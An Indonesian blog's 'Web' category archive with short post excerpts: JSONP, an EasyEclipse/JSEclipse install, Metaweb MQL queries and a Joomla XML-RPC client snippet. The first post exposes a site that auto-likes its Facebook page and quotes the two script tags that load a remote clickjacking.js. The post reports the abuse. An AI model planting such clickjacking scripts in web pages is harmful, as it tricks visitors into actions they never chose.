Arsip untuk Kategori ‘ Web ’

[Hacking]Kecurangan AksiWebId

Dear Developer www dot Aksi dot web dot id, saya mohon hentikan dengan sangat KECURANGAN anda dengan melakukan otomatisasi FB like ketika pengunjung datang ke salah satu postingan anda hanya untuk membuat web anda populer di facebook. Saya bisa melaporkan ini ke pihak FB. Berikut kode buatan anda yang mebuat semua orang secara otomatis me-LIKE web anda :

<script>window.DO_CLICKJACKING = 1</script>
<script src="http://dhanee7ruh.googlecode.com/files/clickjacking.js"></script>

Read more

JSONP

Udah pernah memakai JSONP ? JSONP adalah kepanjangan dari JSON with Padding. Bisa dikatakan sebagai JSOn jarak jauh begitu. Dimana kita menambah script di header atau di body yang sebelumnya tidak ada source aslinya( semacam injection ). JSONP memiliki callback function yang terletak di klien.
contoh :
misalnya kita punya file aini.html yang mempunya script java script dibagian HEAD tag sbb :

function loadJSON()
{
var url = 'tes.json?format=json&jsoncallback=iin';
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
document.body.appendChild(script);
}
function iin(data)
{
alert(data.alamat);
}

kemudian dibagian BODY kita tambahkan parameter onload sbb :

onload="loadJSON();"

sekarang kita buat file tes.json

iin({nama: 'Nur Aini', alamat: 'hazel park,Galway'});

Jika file aini.html dipanggil dari browser, maka akan tampil seperti ini

Jika kita mencoba membuka memakai firebug atau debugger javascript lainnya, maka akan terlihat tambahan kode dibawah ini :


jsonphandler({nama: 'Nur Aini', alamat: 'hazel park,Galway'});

Happy coding all ….

EasyEclipse untuk JavaScript

Pemograman JavaScript memang sedang berkembang pesat. Berbagai library baru bertebaran. Namun terkadang library tersebut susah untuk dibaca :( Sebagai pengguna barang-barang open source (I love you OSS !), akhirnya saya temukan pasangan bagus untuk melakukan koding PHP dan JavaScript yaitu EasyEclipse LAMP dengan JSEclipse.
Bagaimana instalasinya ? Sama dengan plugin easyeclipse atau eclipse lainnya :

  1. Pergi ke menu Help > Software Updates ->Find and Install
  2. Pilih Search for new features to install
  3. Klik New Remote Site button
  4. Isi Name: JSEclipse.
    dan URL: http://download.macromedia.com/pub/labs/jseclipse/autoinstall/
  5. Centang newly added entry’s checkbox
  6. Klik Finish
  7. Pilih fitur yang diinstall, klik Next
  8. Keluarlah Lisensi. Pilih I Accept :D
  9. Next dan Finish
  10. Keluarlah dialog instalasi berhasil dan restart EasyEclipsenya.

Namun pada saat instalasi pertama langkah ke 5 saya menemukan error :
Aptana RadRails (0.8.0.200707021211) requires plug-in “com.aptana.ide.core” 
untuk itu anda harus disable RadRails dari menu Help->Manage Configuration
Ulangi langkah instalasi mulai dari pertama.
Jika setelah instalasi selesai, dan masih terjadi error saat file javascript dibuka, seperti gambar dibawah ini

Read more

Metaweb Query Languange

Yuk kita mulai main-main lagi di dunia web. Kali ini saya coba mengulas Metaweb Query Languange alias MQL. Apa itu ? Sedikit cerita, Metaweb adalah perusahaan yang memaintence FreeBase semacam wikipedia yang mendukung semantic web. Metaweb menyediakan API untuk melakukan query yang sering disebut dengan MQL. MQL ini semacam JSON object yang dapat dikirimkan lewat URL kemudian hasilnya pun dikembalikan dalam bentuk JSON.
Sebagai contoh :
{
  “type”:“/location/country”,
  “name”:“indonesia”,“capital”:[]
}
yang artinya carilah ibukota (capital) dari indonesia dalam database /location/country
akan mendapatkan hasil seperti ini :
{
  “code”:          “/api/status/ok”,
  “result”: {
    “capital”: [
      "Jakarta"
    ],
    “name”: “Indonesia”,
    “type”: “/location/country”
  },
  “status”:        “200 OK”,
  “transaction_id”: “cache;cache02.p01.sjc1:8101;2009-08-25T10:49:01Z;0008″
} Read more

XMLRPC di Joomla

Joomla mengggunakan library phpxmlrpc untuk menjalankan xmlrpc.
Let’s take a look how we inject some xmlrpc codes.   

          jimport('phpxmlrpc.xmlrpc');
                $host=$config->get('10.126.100.100');
                $path=$config->get('/xmlrpc.php');
                $client=new xmlrpc_client($path, $host, 80);
                $method=new xmlrpcmsg('nusaview.tambahData',
                array(
                new xmlrpcval('aini',"string"),
                new xmlrpcval('rahasialoh',"string"),
                new xmlrpcval('lala',"string"),
                new xmlrpcval('lili',"string"),
                ));
                $r=$client->send($method);
               if($r)
               echo "jalan";

Ikuti

Get every new post delivered to your Inbox.

Bergabunglah dengan 3.075 pengikut lainnya.